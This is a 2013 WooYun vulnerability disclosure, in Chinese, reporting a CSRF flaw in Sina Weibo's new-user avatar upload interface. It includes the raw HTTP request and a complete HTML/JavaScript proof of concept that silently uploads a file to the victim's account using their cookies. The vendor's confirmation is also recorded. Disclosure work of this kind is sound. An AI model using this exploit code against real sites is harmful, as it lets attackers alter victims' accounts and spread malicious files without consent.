当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-042688

漏洞标题:利用新浪微博的csrf漏洞修改任意用户的头像

相关厂商:新浪

漏洞作者: D&G

提交时间:2013-11-12 16:40

修复时间:2013-12-27 16:40

公开时间:2013-12-27 16:40

漏洞类型:CSRF

危害等级:中

自评Rank:10

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-11-12: 细节已通知厂商并且等待厂商处理中
2013-11-13: 厂商已经确认,细节仅向厂商公开
2013-11-23: 细节向核心白帽子及相关领域专家公开
2013-12-03: 细节向普通白帽子公开
2013-12-13: 细节向实习白帽子公开
2013-12-27: 细节向公众公开

简要描述:

利用html5中的新特性,实现csrf无交互的上传任意文件。

详细说明:

新浪微博新注册用户的引导上传用户头像的接口没有防御csrf,通常的用户上传文件是需要交互,利用难度较大.不过html5有一个新特性[CORS](http://www.w3.org/TR/cors),可以实现无交互的上传文件.
存在csrf的地方:

POST /nguide/aj/Upload HTTP/1.1
Host: weibo.com
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:24.0) Gecko/20100101 Firefox/24.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-gb,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: lang=zh-cn; UOR=www.wooyun.org
Connection: keep-alive
Content-Type: multipart/form-data; boundary=---------------------------246862377417659
Content-Length: 71483
-----------------------------246862377417659
Content-Disposition: form-data; name="filedata"; filename="Sunset.jpg"
Content-Type: image/jpeg



话说有个疑问,为什么我的cookie里会有www.wooyun.org这个字段?????
这个地方的post请求既没有token,也没对refer进行验证.
所以构造如下poc

<!DOCTYPE html> 
<html>
<head>
<meta charset=utf-8 />
<link href='http://fonts.googleapis.com/css?family=Inconsolata' rel='stylesheet' type='text/css'>
<script src="http://ajax.googleapis.com/ajax/libs/jquery/1.5.2/jquery.min.js" type="text/javascript"></script>
<style>
body {background: #333; color: #eee; font-family: 'Inconsolata', Verdana, sans-serif;}
a:link {color: green; }
a:visited {color: darkgreen;}
</style>
</head>
<body>
<h1>sina weibo CSRF arbitrary file upload</h1>
<h2>Step 1</h2>
Log in into <a href="http://weibo.com">weibo.com</a> (skip this if you use 'remember me' feature)
<h2>Step 2</h2>
<button type="button" id="upload" onclick="start()"><font size="+2">Let's have some fun!</font></button>
<script>
var logUrl = 'http://weibo.com/nguide/aj/Upload/';
function byteValue(x) {
return x.charCodeAt(0) & 0xff;
}
function toBytes(datastr) {
var ords = Array.prototype.map.call(datastr, byteValue);
var ui8a = new Uint8Array(ords);
return ui8a.buffer;
}
if (typeof XMLHttpRequest.prototype.sendAsBinary == 'undefined' && Uint8Array) {
XMLHttpRequest.prototype.sendAsBinary = function(datastr) {
this.send(toBytes(datastr));
}
}
function fileUpload(fileData, fileName) {
var fileSize = fileData.length,
boundary = "9849436581144108930470211272",
uri = logUrl,
xhr = new XMLHttpRequest();
var additionalFields = {
rawpic: 1
}
var fileFieldName = "filedata";

xhr.open("POST", uri, true);
xhr.setRequestHeader("Content-Type", "multipart/form-data, boundary="+boundary); // simulate a file MIME POST request.
xhr.setRequestHeader("Content-Length", fileSize);
xhr.withCredentials = "true";

xhr.onreadystatechange = function() {
if (xhr.readyState == 4) {
if ((xhr.status >= 200 && xhr.status <= 200) || xhr.status == 304) {

if (xhr.responseText != "") {
alert(JSON.parse(xhr.responseText).msg); // display response.
}
} else if (xhr.status == 0) {
$("#goto").show();
}
}
}

var body = "";

for (var i in additionalFields) {
if (additionalFields.hasOwnProperty(i)) {
body += addField(i, additionalFields[i], boundary);
}
}
body += addFileField(fileFieldName, fileData, fileName, boundary);
body += "--" + boundary + "--";
xhr.sendAsBinary(body);
return true;
}
function addField(name, value, boundary) {
var c = "--" + boundary + "\r\n"
c += "Content-Disposition: form-data; name='" + name + "'\r\n\r\n";
c += value + "\r\n";
return c;
}
function addFileField(name, value, filename, boundary) {
var c = "--" + boundary + "\r\n"
c += "Content-Disposition: form-data; name='" + name + "'; filename='" + filename + "'\r\n";
c += "Content-Type: image/jpeg\r\n\r\n";
c += value + "\r\n";
return c;
}
function load_binary_resource(url) {
var req = new XMLHttpRequest();
req.open('GET', url, false);
//XHR binary charset opt by Marcus Granado 2006 [http://mgran.blogspot.com]
req.overrideMimeType('text/plain; charset=x-user-defined');
req.send(null);
if (req.status != 200) return '';
var bytes = Array.prototype.map.call(req.responseText, byteValue);
return String.fromCharCode.apply(this, bytes);
return req.responseText;
}
var start = function() {
var c = load_binary_resource('html5.jpg');
fileUpload(c, 'html5.jpg');
};
//start();
</script>
</div>
<div id="goto" style="display:none">
<h2>Step 3</h2>
Done! <a href="http://weibo.com">see for yourself!</a>
</div>
</body>
</html>


测试浏览器:firefox24.0
当前用户的头像为:

sina1.png


访问poc

sina2.png


点击havefun。当然,js是可以自动提交的。这里仅仅是演示。
查看头像已经被修改了

sina3.png


漏洞证明:

当前用户的头像为:

sina1.png


访问poc

sina2.png


点击havefun。当然,js是可以自动提交的。这里仅仅是演示。
查看头像已经被修改了

sina3.png


修复方案:

也许黑帽子才更懂得每一个漏洞每一缺陷的利用价值。
防御csrf即可。
举一反三多查找一下上传文件是否防御了csrf,不仅仅是传个头像,比如分享文件啊这些点。可以传播恶意文件。

版权声明:转载请注明来源 D&G@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:7

确认时间:2013-11-13 11:19

厂商回复:

感谢关注新浪安全,马上安排相关人员修复

最新状态:

暂无